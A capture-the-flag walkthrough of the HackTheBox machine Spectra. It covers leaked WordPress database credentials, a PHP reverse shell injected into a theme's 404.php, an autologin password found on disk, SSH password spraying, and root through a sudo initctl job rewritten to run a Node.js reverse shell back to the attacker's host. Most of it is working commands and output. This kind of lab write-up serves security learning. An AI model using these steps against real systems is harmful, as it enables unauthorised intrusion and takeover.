HackTheBox - Spectra

HackTheBox - Spectra

Spectra is an easy machine from HackTheBox that runs a Chrome OS. It starts by enumerating a WordPress website, which has a directory listing enabled, thus exposing its source code. Examining the source reveals a database password that is reused by the wordpress admin. With administrator access, I’m able to inject a PHP code into a theme file to get a foothold on the system. Enumerating the internal discovers an auto-login password, and it is reused by a user. The user has sudo permissions on initctl, which can be exploited to get a root shell.

Skills Learned

  • WordPress exploitation
  • Command injection
  • Sudo exploitation on initctl

Tools

  • Nmap
  • CrackMapExec

Reconnaissance

Nmap

nmap full scan discovers three open ports: SSH on port 22, Nginx web server in port 80, and MySQL.

→ root@kali «spectra» «10.10.14.21» 
$ nmap -p- -sV --reason -oA nmap/10-allport 10.10.10.229
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-15 10:10 EDT
Nmap scan report for 10.10.10.229
Host is up, received echo-reply ttl 63 (0.052s latency).
Not shown: 65532 closed ports
Reason: 65532 resets
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.1 (protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 nginx 1.17.4
3306/tcp open  mysql   syn-ack ttl 63 MySQL (unauthorized)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.14 seconds

MySQL service is normally tied to 127.0.0.1, but nmap already identified that I have no access there.

Running a script scan didn’t find any interesting information.

Enumeration

TCP 80 - spectra.htb

The site appears to be under development.

image-20210515212024368

Inspecting page source discovers a hostname and two directories:

image-20210515212038877

I’ll update my /etc/hosts with the hostname.

→ root@kali «spectra» «10.10.14.21» 
$ echo '10.10.10.229 spectra.htb' >> /etc/hosts

Poking with curl, shows that with or without the hostname it’s the same site.

→ root@kali «~» «10.10.14.9» 
$ curl -s http://spectra.htb/ | wc -c
283
→ root@kali «~» «10.10.14.9» 
$ curl -s http://10.10.10.229 | wc -c
283

Clicking on “Software Issue Tracker”, redirects to a WordPress site and nothing interesting except one default post by administrator.

image-20210626224157109

Visiting “Test”, the site page shows an error message about database connection.

image-20210515214125642

Removing index.php from URL, reveals that this page has directory listing enabled.

image-20210515221118144

The wp-config.php.save file draws my attention. It contains a set of database credentials.

→ root@kali «spectra» «10.10.14.21» 
$ curl http://spectra.htb/testing/wp-config.php.save
<?php
...<SNIP>...

define( 'DB_NAME', 'dev' );

/** MySQL database username */
define( 'DB_USER', 'devtest' );

/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
...<SNIP>...

Foothold

Shell as nginx

WP-Admin Dashboard

The database password works with administrator account (administrator:devteam01), it allows me to access the admin dashboard.

image-20210626225944808

Injecting Reverse Shell

Armed with administrator access, I can inject a malicious PHP code into one of the available themes files and execute it by visiting the full URL of the theme file. In this case, I’ll inject a reverse shell script in 404.php file of the Twenty Nineteen theme. The file can be found at Appearance > Theme Editor.

image-20210515231108016

I’ll access this URL to get a shell: http://spectra.htb/main/wp-content/themes/twentynineteen/404.php, but it returns an error message pointing on line 12.

image-20210515231346411

I’m able to resolve the error by commenting out the line 12.

image-20210515231422348

This time, I’ll trigger the reverse shell using curl.

→ root@kali «spectra» «10.10.14.21» 
$ curl -s http://spectra.htb/main/wp-content/themes/twentynineteen/404.php

On my listener.

→ root@kali «spectra» «10.10.14.21» 
$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.10.229] 35166
Linux spectra 5.4.66+ #1 SMP Tue Dec 22 13:39:49 UTC 2020 x86_64 AMD EPYC 7302P 16-Core Processor AuthenticAMD GNU/Linux
 09:14:42 up 10:53,  0 users,  load average: 0.02, 0.04, 0.00
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)
$ hostname
spectra

Shell upgrade

My current shell doesn’t have PATH variable set, so I have to use the full path to upgrade my shell.

$ which python3
which: no python3 in ((null))
$ ls /usr/bin/ | grep python 
python
python-config
python-wrapper
python2
python2.7
python3
python3.6
python3.6m
$ /usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
nginx@spectra / $ export TERM=xterm
nginx@spectra / $ ^Z
[1]  + 7285 suspended  nc -nvlp 9001
→ root@kali «spectra» «10.10.14.21» 
$ stty raw -echo; fg
[1]  + 7285 continued  nc -nvlp 9001

nginx@spectra / $ 

To resolve the ((null)) message, I’ll add /usr/bin to current PATH variable.

nginx@spectra / $ env
TERM=xterm
USER=nginx
PWD=/
SHLVL=1
HOME=/home/nginx
_=/usr/bin/env
nginx@spectra / $ export PATH=$PATH:/usr/bin 
nginx@spectra / $ which python
/usr/local/bin/python

Privilege Escalation

Shell as katie

Internal Enumeration

There are 4 users with login shell in this machine.

nginx@spectra / $ cat /etc/passwd | grep sh$  
root:x:0:0:root:/root:/bin/bash
chronos:x:1000:1000:system_user:/home/chronos/user:/bin/bash
nginx:x:20155:20156::/home/nginx:/bin/bash
katie:x:20156:20157::/home/katie:/bin/bash

Enumerating home directory shows the user flag is on katie’s home directory.

nginx@spectra / $ ls -lR /home 2>/dev/null
...<SNIP>...
/home/katie:
total 8
drwxr-xr-x 2 katie katie 4096 Jan 15 15:55 log
-r-------- 1 katie katie   33 Feb  2 15:57 user.txt
...<SNIP>...

All the web files are located in /usr/local/share/nginx/html/.

nginx@spectra / $ find / -type f -name wp-config.php 2>/dev/null
/usr/local/share/nginx/html/main/wp-config.php
/usr/local/share/nginx/html/testing/wp-config.php
/mnt/stateful_partition/dev_image/share/nginx/html/main/wp-config.php
/mnt/stateful_partition/dev_image/share/nginx/html/testing/wp-config.php

The wp-config.php file for /main has different credentials with the one on /testing. I’ll grab these credentials.

nginx@spectra / $ cat /usr/local/share/nginx/html/main/wp-config.php
...<SNIP>...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );

/** MySQL database username */
define( 'DB_USER', 'dev' );

/** MySQL database password */
define( 'DB_PASSWORD', 'development01' );
...<SNIP>...

In /opt, there is a file with uncommon extension called autologin.conf.orig.

nginx@spectra /opt $ cat autologin.conf.orig 
# Copyright 2016 The Chromium OS Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
description   "Automatic login at boot"
author        "chromium-os-dev@chromium.org"
# After boot-complete starts, the login prompt is visible and is accepting
# input.
start on started boot-complete
script
  passwd=
  # Read password from file. The file may optionally end with a newline.
  for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
    if [ -e "${dir}/passwd" ]; then
      passwd="$(cat "${dir}/passwd")"
      break
    fi
  done
  if [ -z "${passwd}" ]; then
    exit 0
  fi
...<SNIP>...

Based on the comments, the file is an autologin script. It looks for passwd file in these directories:

  • /mnt/stateful_partition/etc/autologin
  • /etc/autologin

And the passwd file in /etc/autologin/ directory contains a password.

nginx@spectra /opt $ ls -l /etc/autologin/             
total 4
-rw-r--r-- 1 root root 19 Feb  3 16:43 passwd
nginx@spectra /opt $ cat /etc/autologin/passwd 
SummerHereWeCome!!

SSH - katie

I’ll spray SummerHereWeCome!! and development01 using crackmapexec to the users who have login shell. Within a few sec, it returns that katie:SummerHereWeCome!! are the valid credentials.

→ root@kali «spectra» «10.10.14.21» 
$ crackmapexec ssh 10.10.10.229 -u users.list -p passwords.list
SSH         10.10.10.229    22     10.10.10.229     [*] SSH-2.0-OpenSSH_8.1
SSH         10.10.10.229    22     10.10.10.229     [-] chronos:devteam01 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH         10.10.10.229    22     10.10.10.229     [-] chronos:development01 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH         10.10.10.229    22     10.10.10.229     [-] chronos:SummerHereWeCome!! Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH         10.10.10.229    22     10.10.10.229     [-] katie:devteam01 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH         10.10.10.229    22     10.10.10.229     [-] katie:development01 Bad authentication type; allowed types: ['publickey', 'keyboard-interactive']
SSH         10.10.10.229    22     10.10.10.229     [+] katie:SummerHereWeCome!!

I’m able to login via SSH

→ root@kali «spectra» «10.10.14.21» 
$ ssh katie@10.10.10.229
Password: 
katie@spectra ~ $ id 
uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)

User flag is done here.

katie@spectra ~ $ ls -la
total 36
drwxr-xr-x 5 katie katie 4096 May 15 12:17 .
drwxr-xr-x 8 root  root  4096 Feb  2 15:55 ..
lrwxrwxrwx 1 root  root     9 Feb  2 15:55 .bash_history -> /dev/null
-rw-r--r-- 1 katie katie  127 Dec 22 05:46 .bash_logout
-rw-r--r-- 1 katie katie  204 Dec 22 05:46 .bash_profile
-rw-r--r-- 1 katie katie  551 Dec 22 05:46 .bashrc
drwx------ 2 katie katie 4096 May 15 12:17 .gnupg
drwx------ 3 katie katie 4096 Jan 15 15:55 .pki
drwxr-xr-x 2 katie katie 4096 Jan 15 15:55 log
-r-------- 1 katie katie   33 Feb  2 15:57 user.txt

Shell as root

Internal Enumeration

The first thing I will check if I have the user’s password is the sudo rights, and this user has one on initctl. Unfortunately, initctl is not listed on GTFObins site, so I’ll have to look around.

katie@spectra ~ $ sudo -l
User katie may run the following commands on spectra:
    (ALL) SETENV: NOPASSWD: /sbin/initctl

Enumerating for files owned by developers discovers some writable .conf files and a JavaScript file.

katie@spectra ~ $ find / -type f -group developers -ls 2>/dev/null
    32121      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test6.conf
    32123      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test7.conf
    32109      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test3.conf
    32112      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test4.conf
    32103      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test.conf
    32126      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test8.conf
    32128      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test9.conf
    32106      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test10.conf
    32108      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test2.conf
    32120      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test5.conf
    32105      4 -rw-rw----   1 root     developers      478 Jun 29  2020 /etc/init/test1.conf
    23763      4 -rwxrwxr-x   1 root     developers      251 Jun 29  2020 /srv/nodetest.js

These .conf files are configuration scripts to start /srv/nodetest.js. The JS file itself is not that important here.

katie@spectra ~ $ cat /etc/init/test.conf 
description "Test node.js server"
author      "katie"

start on filesystem or runlevel [2345]
stop on shutdown

script

    export HOME="/srv"
    echo $$ > /var/run/nodetest.pid
    exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js

end script

pre-start script
    echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script

pre-stop script
    rm /var/run/nodetest.pid
    echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script

Abusing sudo initctl

With sudo privileges and write access on the configuration files, I can perform a command injection to send myself a root shell.

In this write-up, I’d like to try injecting a node reverse shell.

First, I’ll create a copy of the configuration file, which contains reverse shell to my machine and it is without the pre and post script part. I’ll name it exploit.conf:

→ root@kali «exploits» «10.10.14.21»
$ cat exploit.conf
description "Test node.js server"
author      "katie"

start on filesystem or runlevel [2345]
stop on shutdown

script

    export HOME="/srv"
    echo $$ > /var/run/nodetest.pid
    export RHOST=10.10.14.21
    export RPORT=9001
    exec /usr/local/share/nodebrew/node/v8.9.4/bin/node -e 'sh = child_process.spawn("/bin/sh"); net.connect(process.env.RPORT, process.env.RHOST, function () {
    this.pipe(sh.stdin);
    sh.stdout.pipe(this);
    sh.stderr.pipe(this);
    })'
    exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js

end script

After that, I’ll transfer the file to Spectra in /dev/shm directory.

→ root@kali «exploits» «10.10.14.21»
$ scp exploit.conf katie@10.10.10.229:/dev/shm
Password:
bash: warning: /home/katie/.bashrc: warning: script from noexec mount; see https://chromium.googlesource.com/chromiumos/docs/+/master/security/noexec_shell_scripts.md
exploit.conf                               100%  775    13.1KB/s   00:00

I’ll setup a nc listener on my Kali and execute the following command.

katie@spectra /etc/init $ sudo /sbin/initctl stop test5 2>/dev/null; cat /dev/shm/exploit.conf > test5.conf && sudo /sbin/initctl start test5
test5 start/running, process 33889

If I check my listener, I have a root shell now.

→ root@kali «spectra» «10.10.14.21»
$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.10.229] 37220
id && hostname && ip a
uid=0(root) gid=0(root) groups=0(root)
spectra
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:0b:2c brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.229/24 brd 10.10.10.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::15c7:10de:7382:baf8/64 scope global temporary dynamic
       valid_lft 86303sec preferred_lft 14303sec
    inet6 dead:beef::250:56ff:feb9:b2c/64 scope global dynamic mngtmpaddr
       valid_lft 86303sec preferred_lft 14303sec
    inet6 fe80::250:56ff:feb9:b2c/64 scope link
       valid_lft forever preferred_lft forever

image-20210715085053464

References